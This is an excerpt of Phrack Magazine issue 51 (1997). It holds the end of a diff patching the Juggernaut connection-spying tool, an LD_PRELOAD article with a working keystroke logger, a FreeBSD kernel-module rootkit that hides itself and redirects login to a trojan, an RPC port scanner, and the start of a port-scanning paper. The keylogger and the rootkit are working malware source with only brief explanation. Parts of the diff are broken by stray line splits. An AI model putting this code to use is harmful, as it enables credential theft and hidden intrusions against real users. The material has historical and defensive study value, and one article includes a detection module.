  *  kernels.  Not sure about 1.2.x
@@ -197,7 +204,6 @@
         case 22:
         case 23:
         case 25:
-        case 80:
         case 513:
         case 6667:
             if(((int)msg=addc(iphp,tcphp)))if(verbosity)fprintf(stderr,"%c%s",0x08,msg);
@@ -235,7 +241,6 @@
         case 22:
         case 23:
         case 25:
-        case 80:
         case 513:
         case 6667:
             if(((int)msg=delc(iphp,tcphp)))if(verbosity)fprintf(stderr,"%c%s",0x08,msg);
@@ -261,7 +266,7 @@
     void dumpp(char *,int,FILE *);
 
     extern int sigsentry;
-    int tlinksock=tap(DEVICE);	/* Spying tap.  XXX- Really dumb way to do this... */
+    int tlinksock=tap(DEVICE,1);    /* Spying tap.  XXX- Really dumb way to do this... */
     time_t tp;
 
     ALIGNNETPOINTERS();
@@ -272,20 +277,14 @@
         time(&tp);
         fprintf(fp,": Log started:\t\t%s---------------------------------------------------------------------\n",ctime(&tp));
     }
-		    /* NO alaram timeout here.  SIGINT kills our spy session */
-    while(sigsentry)if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp->protocol==IPPROTO_TCP)if(iphp->saddr==target->daddr&&tcphp->source==target->dport)dumpp(epack.payload-2,htons(iphp->tot_len)-sizeof(epack.ip)-sizeof(epack.tcp),fp);
+		    /* NO alarm timeout here.  SIGINT kills our spy session */
+    while(sigsentry)if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp->protocol==IPPROTO_TCP)if(iphp->saddr==target->daddr && iphp->daddr==target->saddr && tcphp->dest==target->sport)dumpp(epack.payload-2,htons(iphp->tot_len)-sizeof(epack.ip)-sizeof(epac








k
+
+.tcp),fp);
 	
     if(fp){
         fprintf(fp,"\n---------------------------------------------------------------------\n: Juggernaut connection spy log trailer\n: %s [%d]\t-->\t %s [%d]\n",hostLookup(target->saddr),ntohs(target->sport),hostLookup(target->daddr),ntohs(target->dport








)
 
-
-
-
-
-
-
-
-
 );
         time(&tp);
         fprintf(fp,": Log ended:\t\t%s---------------------------------------------------------------------\n",ctime(&tp));
@@ -347,8 +346,8 @@
         unsigned short tlen;
     }*ppheader;
  		
-    static int moot=0;
-    int tlinksock=tap(DEVICE);
+    int moot=0;
+    int tlinksock=tap(DEVICE,1);
 
     ALIGNNETPOINTERS();
 
@@ -451,7 +450,7 @@
     extern int ripsock;	
     extern int acrstpid;
     char *tempBuf=0;
-    int tlinksock=tap(DEVICE);
+    int tlinksock=tap(DEVICE,1);
 
     switch((acrstpid=fork())){ 	/* Drop a child to backround, return the 
                                    parent to continue */
@@ -570,7 +569,7 @@
     extern int netreadtimeout;
     static int len;
     char *tempBuf;
-    int tlinksock=tap(DEVICE);
+    int tlinksock=tap(DEVICE,1);
 
     ALIGNNETPOINTERS();
 
@@ -675,7 +674,7 @@
     extern int netreadtimeout;
     extern int sigsentry;
     static int len;
-    int tlinksock=tap(DEVICE);			
+    int tlinksock=tap(DEVICE,1);			
     
     ALIGNNETPOINTERS();
 
@@ -799,7 +798,7 @@
     int grabflag=0;                     /* Time to grab some packets */
     unsigned long targetsourceip=0;
     unsigned short targetsourceport=0;
-    int tlinksock=tap(DEVICE);          
+    int tlinksock=tap(DEVICE,1);          
 
     if(!(fp=fopen(SNIFLOG,"a+"))){      /* Log to file */
         if(verbosity){
--- NumberOneCrush/prometheus.c	Thu May  8 15:37:03 1997
+++ NumberOneCrush/prometheus.c	Fri Jun  6 01:33:17 1997
@@ -1,7 +1,7 @@
 /*
  *
  *                                  Juggernaut
- *                                  Version b2
+ *                                  Version 1.2
  *
  *                            1996/7 Guild productions
  *                           daemon9[guild|phrack|r00t]
--- NumberOneCrush/surplus.c	Thu May  8 15:37:03 1997
+++ NumberOneCrush/surplus.c	Fri Jun  6 01:33:03 1997
@@ -1,7 +1,7 @@
 /*
  *
  *                                  Juggernaut
- *                                  Version b2
+ *                                  Version 1.2
  *
  *                            1996/7 Guild productions
  *                           daemon9[guild|phrack|r00t]
@@ -29,6 +29,7 @@
 #define HELPFILE    "./ClothLikeGauze/.help"
 #define FBUFSIZE     80
 #define MINIBUF      10
+#define DEVICE      "eth0"
 
 extern int verbosity;    
 
@@ -346,6 +347,7 @@
 void cleanexit(){
 
     void powerdown();
+    int tap(char *,int);
 
     extern int ripsock;
     extern int hpid;
@@ -353,6 +355,7 @@
 
     close(ripsock);
     powerdown();
+    tap(DEVICE,0);                          /* Unset promisc mode on the interface */
     if(kill(hpid,SIGUSR1))if(verbosity){    /* Send signal to the hunter */
         perror("(cleanexit) Could not signal hunter");
         fprintf(stderr,"[cr]");
<-->



----[  EOF



--------------------------------------------------------------------------------


---[  Phrack Magazine   Volume 7, Issue 51 September 01, 1997, article 08 of 17


-------------------------[  Shared Library Redirection Techniques


--------[  halflife <halflife@infonexus.com>


This article discusses shared libraries - in particular, a method for doing 
shared library based function call redirection for multiple purposes.  During 
the process of writing some code, some bugs were discovered in a few shared 
library implementations, these are discussed as well.

First off, a short description of shared libraries is in order.  Shared 
libraries are designed to let you share code segments among programs.  In this 
way, memory usage is reduced significantly.  Since code segments generally are 
not modified, this sharing scheme works rather well.  Obviously for this to 
work, the code segments have to be location independent or PC indepenant (ip 
independant for the x86 programmers in the audience).

   Now, since the telnetd environment variable hole, most of you know there 
are several environment variables that can be used to specify alternate shared 
libraries.  Among them, on most systems, are LD_LIBRARY_PATH and LD_PRELOAD; 
this article strictly deals with the latter.  Additionally, on Digital UNIX 
and Irix, this variable is called _RLD_LIST and has a slightly different 
syntax.

Sun's shared libraries came with an API to let users load and call shared 
library functions; most other vendors have cloned the interface.  Oddly enough,
our code will not work in SunOS, although it will in Solaris2.  Anyhow, the 
first function to be concerned with is called dlopen().  This function 
basically loads the shared library and mmap()s it into memory if it is not 
already loaded.  The first argument it accepts, is a pointer to the filename 
to be loaded, the second argument should usually be 1 (although some platforms 
seem to support other options).  The manpage provides more details.  A handle 
is returned on success, you can call dlerror() to determine if a failure 
occurred.

Once you have dlopen()ed a library, the next goal is to get the address of one 
or more of the symbols that are inside the library.  You do this with the 
dlsym() function.  Unfortunately, this is where things can get nonportable.
On the freely available 4.4BSD machines I tested, dlsym() wants the function 
name prepended by a underscore character.  This makes perfect sense to me, 
since that is how C stores function names internally.  The System Vish 
implementations, which make up the majority of the tested systems, do not use 
such a convention.  This, unfortunately, means you must use conditional 
compilation in order to ensure portability.

A simple example of opening a library, getting a function and calling it is 
shown below:

<++> sh_lib_redir_example.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>

main()
{
	void *handle;
	void (*helloworld)(void);
	char *c;

	handle = dleopen("/tmp/helloworld.so", 1);
	c = dlerror();
	if(c)
	{
		fprintf(stderr, "couldnt open /tmp/helloworld.so\n");
		abort();
	}
#if __FreeBSD__
	helloworld = dlsym(handle, "_helloworld");
#else
	helloworld = dlsym(handle, "helloworld");
#endif
	c = dlerror();
	if(c)
	{
		fprintf(stderr, "couldnt get helloworld symbol\n");
		abort();
	}
	helloworld();
	dlclose(handle);
}
<-->

Okay, now that we understand how to use the programming interface, how do we 
do function call redirection?  Well, my idea is simple; you preload a library, 
the preloaded library does its thing, then it dlopen()s the real library and 
gets the symbol and calls it.  This seems to work well on Solaris, Linux (ELF),
Irix (5.3 and 6.2), FreeBSD (see bugs section below), and OSF/1 (not tested).

Compiling shared libraries is a little different on each platform.  The 
compilation stage is basically the same, it is the linking that is actually 
different.  For GCC, you make the object with something like:

    gcc -fPIC -c file.c

That will create file.o, object code which is suitable for dynamic linking.
Then you actually have to link it, which is where the fun begins :).  Here is 
a chart for linking in the various operating systems I have tested this stuff
on.

FreeBSD:        ld -Bshareable -o file.so file.o
Solaris:        ld -G -o file.so file.o -ldl
Linux:          ld -Bshareable -o file.so file.o -ldl
IRIX:           ld -shared -o file.so file.o
OSF/1:          ld -shared -o file.so file.o

On IRIX, there is an additional switch you need to use if you are running 6.2,
it enables backwards ld compatibility; the manpage for ld is your guide.

Unfortunately, all is not happy in the world of shared libs since there are 
bugs present in some implementations.  FreeBSD in particular has a bug in that 
if you dlsym() something and it is not found, it will not set the error so 
dlerror() will return NULL.  OpenBSD is far far worse (*sigh*).  It 
initializes the error to a value, and does not clear the error when you call 
dlerror() so at all times, dlerror() will return non NULL. Of course, OpenBSD 
is incompatible with our methods in other ways too, so it does not really 
matter I guess :).  The FreeBSD bug is hacked around by testing return values
for NULL.

Here is a simple TTY logger shared library example.  When you preload it, it 
will log the keystrokes when users run any nonprivledged shared lib using 
program.  It stores the logs in /tmp/UID_OF_USER.  Pretty simple stuff.

<++> tty_logger.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/uio.h>
#include <sys/stat.h>
#include <string.h>
#include <fcntl.h>
#include <dlfcn.h>

/* change this to point to your libc shared lib path */
#define LIB_PATH "/usr/lib/libc.so.3.0"
#define LOGDIR "/tmp"
int logfile = -1;

static void createlog(void)
{
	char buff[4096];
	if(logfile != -1)
		return;
	memset(buff, 0, 4096);
	if(strlen(LOGDIR) > 4000)
		return;
	sprintf(buff, "%s/%d", LOGDIR, getuid());
	logfile = open(buff, O_WRONLY|O_CREAT|O_APPEND, S_IRUSR|S_IWUSR);
	return;
}

static void writeout(char c)
{
	switch(c)
	{
		case '\n':
		case '\r':
			c = '\n';
			write(logfile, &c, 1);
			break;
		case 27:
			break;
		default:
			write(logfile, &c, 1);
	}
}

ssize_t read(int fd, void *buf, size_t nbytes)
{
	void *handle;
	ssize_t (*realfunc)(int, void *, size_t);
	int result;
	int i;
	char *c;
	char d;

	handle = dlopen(LIB_PATH, 1);
	if(!handle)
		return -1;
#if __linux__ || (__svr4__ && __sun__) || sgi || __osf__
	realfunc = dlsym(handle, "read");
#else
	realfunc = dlsym(handle, "_read");
#endif
	if(!realfunc)
		return -1;
	if(logfile < 0)
		createlog();
	result = realfunc(fd, buf, nbytes);
	c = buf;
	if(isatty(fd))
	{
		if(result > 0)
			for(i=0;i < result;i++)
			{
				d = c[i];
				writeout(d);
			}
	}
	return result;
}
<-->


----[  EOF



--------------------------------------------------------------------------------


---[  Phrack Magazine   Volume 7, Issue 51 September 01, 1997, article 09 of 17


-------------------------[  Bypassing Integrity Checking Systems


--------[  halflife <halflife@infonexus.com>


In this day and age where intrusions happen on a daily basis and there is a
version of "rootkit" for every operating system imaginable, even mostly
incompetent system administration staff have begun doing checksums on their
binaries.  For the hacker community, this is a major problem since their very 
clever trojan programs are quickly detected and removed.  Tripwire is a very 
popular and free utility to do integrity checking on UNIX systems.  This 
article explores a simple method for bypassing checks done by tripwire and 
other integrity checking programs.

First off, how do integrity-checking programs work?  Well, when you first
install them, they calculate a hash (sometimes multiple hashes) of all the
binary files you wish to monitor.  Then, periodically, you run the checker
and it compares the current hash with the previously recorded hash.  If the
two differ, than something funny is going on, and it is noted.  Several 
different algorithms exist for doing the hashes, the most popular probably 
being the MD5 hash.

In the past, there have been problems with several hashes.  MD5 has had some
collisions, as have many other secure hash algorithms. However, exploiting the 
collisions is still very very difficult.  The code in this article does not 
rely on the use of a specific algorithm, rather we focus on a problem of trust 
-- integrity checking programs need to trust the operating system, and some 
may even trust libc.  In code that is designed to detect compromises that 
would by their very nature require root access, you can not trust anything, 
including your own operating system.

The design of twhack had several requirements.  The first is that it need not
require a kernel rebuild; loadable kernel modules (lkm) provided a solution
to this.  The second is that it need be relatively stealthy.  I managed to find
a simple way to hide the lkm in the FreeBSD kernel (probably works in OpenBSD
and NetBSD although I have not verified this).  Once you load the module, the
first ls type command will effectively hide the module from view.  Once hidden
it can not be unloaded or seen with the modunload(8) command.

First, a little information on FreeBSD loadable modules.  I am using the MISC 
style of modules, which is basically similar to linux modules.  It gives you 
pretty much full access to everything.  LKM info is stored in an array of 
structures.  In FreeBSD 2.2.1 the array has room for 20 modules.

Hiding the modules is really quite simple.  There is a used variable that 
determines if the module slot is free or not.  When you insert a module, the 
device driver looks for the first free module entry -- free being defined as 
an entry with 0 in the used slot and places some info in the structure.  The 
info is mainly used for unloading, and we are not interested in that, so it is 
okay if other modules overwrite our structure (some might call that a feature, 
even).

Next we have to redirect the system calls we are interested in.  This is
somewhat similar to Linux modules as well.  System calls are stored in an 
array of structures.  The structure contains a pointer to the system call and 
a variable specifying the number of arguments.  Obviously, all we are 
interested in is the pointer.  First we bcopy the structure to a variable, 
then we modify the function pointer to point to our code.  In our code we can 
do stuff like old_function.sy_call(arguments) to call the original system call 
-- quick and painless.

Now that we know HOW to redirect system calls, which ones do we redirect in 
order to bypass integrity checkers?  Well, there are a number of possibilities.
You could redirect open(), stat(), and a bunch of others so that reads of your 
modified program redirect to copies of the unmodified version.  I, however, 
chose the opposite approach.  Execution attempts of login redirect to another 
program, opens still go to the real login program.  Since we don't want our 
alternative login program being detected, I also modified getdirentries so 
that our program is never in the buffer it returns.  Similar things probably 
should have been done with syscall 156 which is old getdirentries, but I don't 
think it is defined and I don't know of anything using it, so it probably does 
not really matter.

Despite the attempts at keeping hidden, there are a few ways to detect this 
code.  One of the ways of detecting (and stopping) the code is provided.
It is a simple stealthy module that logs when syscall addresses change, and
reverses the changes.  This will stop the twhack module as provided, but is
FAR from perfect.

What the checking code does is bcopy() the entire sysent array into a local
copy.  Then it registers an at_fork() handler and in the handler it checks
the current system call table against the one in memory, if they differ it
logs the differences and changes the entry back.

<++> twhack/Makefile
CC=gcc
LD=ld
RM=rm
CFLAGS=-O -DKERNEL -DACTUALLY_LKM_NOT_KERNEL $(RST)
LDFLAGS=-r
RST=-DRESTORE_SYSCALLS

all: twhack syscheck

twhack: 
	$(CC) $(CFLAGS) -c twhack.c
	$(LD) $(LDFLAGS) -o twhack_mod.o twhack.o
	@$(RM) twhack.o

syscheck:
	$(CC) $(CFLAGS) -c syscheck.c
	$(LD) $(LDFLAGS) -o syscheck_mod.o syscheck.o
	@$(RM) syscheck.o
clean:
	$(RM) -f *.o 
<-->
<++> twhack/twhack.c
/*
** This code is a simple example of bypassing Integrity checking
** systems in FreeBSD 2.2. It has been tested in 2.2.1, and
** believed to work (although not tested) in 3.0.
**
** Halflife <halflife@infonexus.com>
*/

/* change these */
#define ALT_LOGIN_PATH "/tmp/foobar"
#define ALT_LOGIN_BASE "foobar"

/* includes */
#include <sys/param.h>
#include <sys/ioctl.h>
#include <sys/proc.h>
#include <sys/systm.h>
#include <sys/sysproto.h>
#include <sys/conf.h>
#include <sys/mount.h>
#include <sys/exec.h>
#include <sys/sysent.h>
#include <sys/lkm.h>
#include <a.out.h>
#include <sys/file.h>
#include <sys/errno.h>
#include <sys/syscall.h>
#include <sys/dirent.h>

/* storage for original execve and getdirentries syscall entries */
static struct sysent old_execve;
static struct sysent old_getdirentries;

/* prototypes for new execve and getdirentries functions */
int new_execve __P((struct proc *p, void *uap, int retval[]));
int new_getdirentries __P((struct proc *p, void *uap, int retval[]));

/* flag used for the stealth stuff */
static int hid=0;

/* table we need for the stealth stuff */
static struct lkm_table *table;

/* misc lkm */
MOD_MISC(twhack);

/*
** this code is called when we load or unload the module. unload is
** only possible if we initialize hid to 1
*/
static int
twhack_load(struct lkm_table *l, int cmd)
{
	int err = 0;
	switch(cmd)
	{
		/*
		** save execve and getdirentries system call entries
		** and point function pointers to our code
		*/
		case LKM_E_LOAD:
			if(lkmexists(l))
				return(EEXIST); 
			bcopy(&sysent[SYS_execve], &old_execve, sizeof(struct sysent));
			sysent[SYS_execve].sy_call = new_execve;
			bcopy(&sysent[SYS_getdirentries], &old_getdirentries, sizeof(struct sysent));
			sysent[SYS_getdirentries].sy_call = new_getdirentries;
			table = l;
			break;
		/* restore syscall entries to their original condition */
		case LKM_E_UNLOAD:
			bcopy(&old_execve, &sysent[SYS_execve], sizeof(struct sysent));
			bcopy(&old_getdirentries, &sysent[SYS_getdirentries], sizeof(struct sysent));
			break;
		default:
			err = EINVAL;
			break;
	}
	return(err);
}

/* entry point to the module */
int
twhack_mod(struct lkm_table *l, int cmd, int ver)
{
	DISPATCH(l, cmd, ver, twhack_load, twhack_load, lkm_nullcmd);
}

/*
** execve is simple, if they attempt to execute /usr/bin/login
** we change fname to ALT_LOGIN_PATH and then call the old execve
** system call.
*/
int
new_execve(struct proc *p, void *uap, int  *retval)
{
	struct execve_args *u=uap;

	if(!strcmp(u->fname, "/usr/bin/login"))
		strcpy(u->fname, ALT_LOGIN_PATH);
	return old_execve.sy_call(p, uap, retval);
}

/*
** in getdirentries() we call the original syscall first
** then nuke any occurance of ALT_LOGIN_BASE. ALT_LOGIN_PATH
** and ALT_LOGIN_BASE should _always_ be modified and made
** very obscure, perhaps with upper ascii characters.
*/
int
new_getdirentries(struct proc *p, void *uap, int *retval)
{
	struct getdirentries_args *u=uap;
	struct dirent *dep;
	int nbytes;
	int r,i;

	/* if hid is not set, set the used flag to 0 */
	if(!hid)
	{
		table->used = 0;
		hid++;
	}
	r = old_getdirentries.sy_call(p, uap, retval);
	nbytes = *retval;
	while(nbytes > 0)
	{
		dep = (struct dirent *)u->buf;
		if(!strcmp(dep->d_name, ALT_LOGIN_BASE))
		{
			i = nbytes - dep->d_reclen;
			bcopy(u->buf+dep->d_reclen, u->buf, nbytes-dep->d_reclen);
			*retval = i;
			return r;
		}
		nbytes -= dep->d_reclen;
		u->buf += dep->d_reclen;
	}
	return r;
}
<-->
<++> twhack/syscheck.c
#include <sys/param.h>
#include <sys/ioctl.h>
#include <sys/proc.h>
#include <sys/systm.h>
#include <sys/sysproto.h>
#include <sys/conf.h>
#include <sys/mount.h>
#include <sys/exec.h>
#include <sys/sysent.h>
#include <sys/lkm.h>
#include <a.out.h>
#include <sys/file.h>
#include <sys/errno.h>
#include <sys/syscall.h>
#include <sys/dirent.h>

static int hid=0;
static struct sysent table[SYS_MAXSYSCALL];
static struct lkm_table *boo;
MOD_MISC(syscheck);
void check_sysent(struct proc *, struct proc *, int);

static int
syscheck_load(struct lkm_table *l, int cmd)
{
	int err = 0;
	switch(cmd)
	{
		case LKM_E_LOAD:
			if(lkmexists(l))
				return(EEXIST); 
			bcopy(sysent, table, sizeof(struct sysent)*SYS_MAXSYSCALL);
			boo=l;
			at_fork(check_sysent);
			break;
		case LKM_E_UNLOAD:
			rm_at_fork(check_sysent);
			break;
		default:
			err = EINVAL;
			break;
	}
	return(err);
}

int
syscheck_mod(struct lkm_table *l, int cmd, int ver)
{
	DISPATCH(l, cmd, ver, syscheck_load, syscheck_load, lkm_nullcmd);
}

void
check_sysent(struct proc *parent, struct proc *child, int flags)
{
	int i;
	if(!hid)
	{
		boo->used = 0;
		hid++;
	}
	for(i=0;i < SYS_MAXSYSCALL;i++)
	{
		if(sysent[i].sy_call != table[i].sy_call)
		{
			printf("system call %d has been modified (old: %p new: %p)\n", i, table[i].sy_call, sysent[i].sy_call);
#ifdef RESTORE_SYSCALLS
			sysent[i].sy_call = table[i].sy_call;
#endif
		}
	}
}
<-->


----[  EOF



--------------------------------------------------------------------------------


---[  Phrack Magazine   Volume 7, Issue 51 September 01, 1997, article 10 of 17


-------------------------[  Scanning for RPC Services


--------[  halflife <halflife@infonexus.com>


Remote Procedure Language is a specification for letting procedures be
executable on remote machines.  It is defined in rfc1831.  It has a number of 
good traits, and if you run SunOS or Solaris, you are almost required to make 
use of it to some degree.

Unfortunately, there are vulnerabilities in some RPC services that have
caused many machines to be penetrated.  Many administrators block access to 
portmapper (port 111) in an effort to deny external users access to their weak 
RPC services.

Unfortunately, this is completely inadequate.  This article details how 
trivial it is to do a scan for specific RPC program numbers.  The scan can be 
performed relatively quickly, and in many cases will not be logged.

First, a little information about RPC itself; when I refer to RPC, I am only 
referring to ONC RPC, and not DCE RPC.  RPC is a query/reply-based system. You 
send an initial query with the program number you are interested in, the 
procedure number, any arguments, authentication, and other needed parameters. 
In response, you get whatever the procedure returns, and some indication of 
the reason for the failure if it failed.

Since RPC was designed to be portable, all arguments must be translated into 
XDR.  XDR is a data encoding language that superficially reminds me a little 
bit of Pascal (at least, as far as strings are concerned). If you want more 
information on XDR, it is defined in rfc1832.

As you probably surmised by now, RPC programs are made up of various 
procedures.  There is one procedure that always exists, it is procedure 0. 
This procedure accepts no arguments, and it does not return any value (think 
void rpcping(void)).  This is how we will determine if a given port holds a 
given program, we will call the ping procedure!

So now we have a basic idea on how to determine if a given port is running
a given RPC program number.  Next we need to determine which UDP ports are
listening.  This can be done a number of ways, but the way I am using is
to connect() to the port and try write data.  If nothing is there, we
will (hopefully) get a PORT_UNREACH error in errno, in which case we know
there is nothing on that port.

In the given code, we do a udp scan, and for every listening udp port, we
try to query the ping procedure of the program number we are scanning for.
If we get a positive response, the program number we are looking for exists
on that port and we exit.

<++> RPCscan/Makefile
CC=gcc
PROGNAME=rpcscan
CFLAGS=-c

build: checkrpc.o main.o rpcserv.o udpcheck.o
	$(CC) -o $(PROGNAME) checkrpc.o main.o rpcserv.o udpcheck.o

checkrpc.o:
	$(CC) $(CFLAGS) checkrpc.c

main.o:
	$(CC) $(CFLAGS) main.c

rpcserv.o:
	$(CC) $(CFLAGS) rpcserv.c

udpcheck.o:
	$(CC) $(CFLAGS) udpcheck.c

clean:
	rm -f *.o $(PROGNAME)
<-->
<++> RPCscan/checkrpc.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <rpc/rpc.h>
#include <netdb.h>

extern struct sockaddr_in *saddr;

int
check_rpc_service(long program)
{
	int sock = RPC_ANYSOCK;
	CLIENT *client;
	struct timeval timeout;
	enum clnt_stat cstat;

	timeout.tv_sec = 10;
	timeout.tv_usec = 0;
	client = clntudp_create(saddr, program, 1, timeout, &sock);
	if(!client)
		return -1;
	timeout.tv_sec = 10;
	timeout.tv_usec = 0;
	cstat = RPC_TIMEDOUT;
	cstat = clnt_call(client, 0, xdr_void, NULL, xdr_void, NULL, timeout);
	if(cstat == RPC_TIMEDOUT)
	{
		timeout.tv_sec = 10;
		timeout.tv_usec = 0;
		cstat = clnt_call(client, 0, xdr_void, NULL, xdr_void, NULL, timeout);
	}
	clnt_destroy(client);
	close(sock);
	if(cstat == RPC_SUCCESS)
		return 1;
	else if(cstat == RPC_PROGVERSMISMATCH)
		return 1;
	else return 0;
}
<-->
<++> RPCscan/main.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int check_udp_port(char *, u_short);
int check_rpc_service(long);
long get_rpc_prog_number(char *);
#define HIGH_PORT	5000
#define LOW_PORT	512	

main(int argc, char **argv)
{
	int i,j;
	long prog;
	if(argc != 3)
	{
		fprintf(stderr, "%s host program\n", argv[0]);
		exit(0);
	}
	prog = get_rpc_prog_number(argv[2]);
	if(prog == -1)
	{
		fprintf(stderr, "invalid rpc program number\n");
		exit(0);
	}
	printf("Scanning %s for program %d\n", argv[1], prog);
	for(i=LOW_PORT;i <= HIGH_PORT;i++)
	{
		if(check_udp_port(argv[1], i) > 0)
		{
			if(check_rpc_service(prog) == 1)
			{
				printf("%s is on port %u\n", argv[2], i);
				exit(0);
			}
		}
	}
}
<-->
<++> RPCscan/rpcserv.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <netdb.h>
#include <ctype.h>
#include <rpc/rpc.h>

long
get_rpc_prog_number(char *progname)
{
	struct rpcent *r;
	int i=0;

	while(progname[i] != '\0')
	{
		if(!isdigit(progname[i]))
		{
			setrpcent(1);
			r = getrpcbyname(progname);
			endrpcent();
			if(!r)
				return -1;
			else return r->r_number;
		}
		i++;
	}
	return atoi(progname);
}
<-->
<++> RPCscan/udpcheck.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/param.h>
#include <sys/time.h>
#include <sys/errno.h>
extern int h_errno;

struct sockaddr_in *saddr = NULL;

int
check_udp_port(char *hostname, u_short port)
{
	int s, i, sr;
	struct hostent *he;
	fd_set rset;
	struct timeval tv;

	if(!saddr)
	{
		saddr = malloc(sizeof(struct sockaddr_in));
		if(!saddr) return -1;

		saddr->sin_family = AF_INET;
		saddr->sin_addr.s_addr = inet_addr(hostname);
		if(saddr->sin_addr.s_addr == INADDR_NONE)
		{
			sethostent(1);
			he = gethostbyname(hostname);
			if(!he)
			{
				herror("gethostbyname");
				exit(1);
			}
			if(he->h_length <= sizeof(saddr->sin_addr.s_addr))
				bcopy(he->h_addr, &saddr->sin_addr.s_addr, he->h_length);
			else
				bcopy(he->h_addr, &saddr->sin_addr.s_addr, sizeof(saddr->sin_addr.s_addr));
			endhostent();
		}
	}
	saddr->sin_port = htons(port);
	s = socket(AF_INET, SOCK_DGRAM, 0);
	if(s < 0)
	{
		perror("socket");
		return -1;
	}
	i = connect(s, (struct sockaddr *)saddr, sizeof(struct sockaddr_in));
	if(i < 0)
	{
		perror("connect");
		return -1;
	}
	for(i=0;i < 3;i++)
	{
		write(s, "", 1);
		FD_ZERO(&rset);
		FD_SET(s, &rset);
		tv.tv_sec = 5;
		tv.tv_usec = 0;
		sr = select(s+1, &rset, NULL, NULL, &tv);
		if(sr != 1)
			continue;
		if(read(s, &sr, sizeof(sr)) < 1)
		{
			close(s);
			return 0;
		}
		else
		{
			close(s);
			return 1;
		}
	}
	close(s);
	return 1;
}
<-->


----[  EOF




--------------------------------------------------------------------------------


---[  Phrack Magazine   Volume 7, Issue 51 September 01, 1997, article 11 of 17


-------------------------[  The Art of Port Scanning


--------[  Fyodor <fyodor@dhp.com>


[ Abstract ]

This paper details many of the techniques used to determine what ports (or
similar protocol abstraction) of a host are listening for connections.  These 
ports represent potential communication channels.  Mapping their existence
facilitates the exchange of information with the host, and thus it is quite 
useful for anyone wishing to explore their networked environment, including 
hackers.  Despite what you have heard from the media, the Internet is NOT
all about TCP port 80.  Anyone who relies exclusively on the WWW for
information gathering is likely to gain the same level of proficiency as your 
average AOLer, who does the same.  This paper is also meant to serve as an
introduction to and ancillary documentation for a coding project I have been 
working on.  It is a full featured, robust port scanner which (I hope) solves 
some of the problems I have encountered when dealing with other scanners and 
when working to scan massive networks.  The tool, nmap, supports the following:

    - vanilla TCP connect() scanning, 
    - TCP SYN (half open) scanning,
    - TCP FIN (stealth) scanning, 
    - TCP ftp proxy (bounce attack) scanning
    - SYN/FIN scanning using IP fragments (bypasses packet filters),
    - UDP recvfrom() scanning, 
    - UDP raw ICMP port unreachable scanning, 
    - ICMP scanning (ping-sweep), and
    - reverse-ident scanning.

The freely distributable source code is appended to this paper.



[ Introduction ]

Scanning, as a method for discovering exploitable communication channels, has
been around for ages.  The idea is to probe as many listeners as possible, and
keep track of the ones that are receptive or useful to your particular need.
Much of the field of advertising is based on this paradigm, and the "to current
resident" brute force style of bulk mail is an almost perfect parallel to what
we will discuss.  Just stick a message in every mailbox and wait for the
responses to trickle back.

Scanning entered the h/p world along with the phone systems.  Here we have this
tremendous global telecommunications network, all reachable through codes on 
our telephone.  Millions of numbers are reachable locally, yet we may only
be interested in 0.5% of these numbers, perhaps those that answer with a 
carrier.

The logical solution to finding those numbers that interest us is to try them
all.  Thus the field of "wardialing" arose.  Excellent programs like Toneloc
were developed to facilitate the probing of entire exchanges and more.  The
basic idea is simple.  If you dial a number and your modem gives you a CONNECT,
you record it.  Otherwise the computer hangs up and tirelessly dials the next 
one.

While wardialing is still useful, we are now finding that many of the computers
we wish to communicate with are connected through networks such as the Internet
rather than analog phone dialups.  Scanning these machines involves the same
brute force technique.  We send a blizzard of packets for various protocols,
and we deduce which services are listening from the responses we receive (or
don't receive).



[ Techniques ]

Over time, a number of techniques have been developed for surveying the
protocols and ports on which a target machine is listening.  They all offer
different benefits and problems.  Here is a line up of the most common:

- TCP connect() scanning : This is the most basic form of TCP scanning.  The
connect() system call provided by your operating system is used to open a
connection to every interesting port on the machine.  If the port is listening,
connect() will succeed, otherwise the port isn't reachable.  One strong
advantage to this technique is that you don't need any special privileges.  Any
user on most UNIX boxes is free to use this call.  Another advantage is speed.
While making a separate connect() call for every targeted port in a linear
fashion would take ages over a slow connection, you can hasten the scan by
using many sockets in parallel.  Using non-blocking I/O allows you to set a low
time-out period and watch all the sockets at once.  This is the fastest
scanning method supported by nmap, and is available with the -t (TCP) option.
The big downside is that this sort of scan is easily detectable and filterable.
The target hosts logs will show a bunch of connection and error messages for
the services which take the connection and then have it immediately shutdown.


- TCP SYN scanning : This technique is often referred to as "half-open"
scanning, because you don't open a full TCP connection.  You send a SYN packet,
as if you are going to open a real connection and wait for a response.  A
SYN|ACK indicates the port is listening.  A RST is indicative of a non-
listener.  If a SYN|ACK is received, you immediately send a RST to tear down
the connection (actually the kernel does this for us).  The primary advantage
to this scanning technique is that fewer sites will log it.  Unfortunately you
need root privileges to build these custom SYN packets.  SYN scanning is the -s
option of nmap.


- TCP FIN scanning : There are times when even SYN scanning isn't clandestine
enough.  Some firewalls and packet filters watch for SYNs to an unallowed port,
and programs like synlogger and Courtney are available to detect these scans.
FIN packets, on the other hand, may be able to pass through unmolested.  This
scanning technique was featured in detail by Uriel Maimon in Phrack 49, article
15.  The idea is that closed ports tend to reply to your FIN packet with the
proper RST.  Open ports, on the other hand, tend to ignore the packet in
question.  This is a bug in TCP implementations and so it isn't 100% reliable
(some systems, notably Micro$oft boxes, seem to be immune).  It works well on
most other systems I've tried.  FIN scanning is the -U (Uriel) option of nmap.


- Fragmentation scanning : This is not a new scanning method in and of itself,
but a modification of other techniques.  Instead of just sending the probe
packet, you break it into a couple of small IP fragments.  You are splitting 
up the TCP header over several packets to make it harder for packet filters 
and so forth to detect what you are doing.  Be careful with this!  Some
programs have trouble handling these tiny packets.  My favorite sniffer
segmentation faulted immediately upon receiving the first 36-byte fragment.  
After that comes a 24 byte one!  While this method won't get by packet filters
and firewalls that queue all IP fragments (like the CONFIG_IP_ALWAYS_DEFRAG 
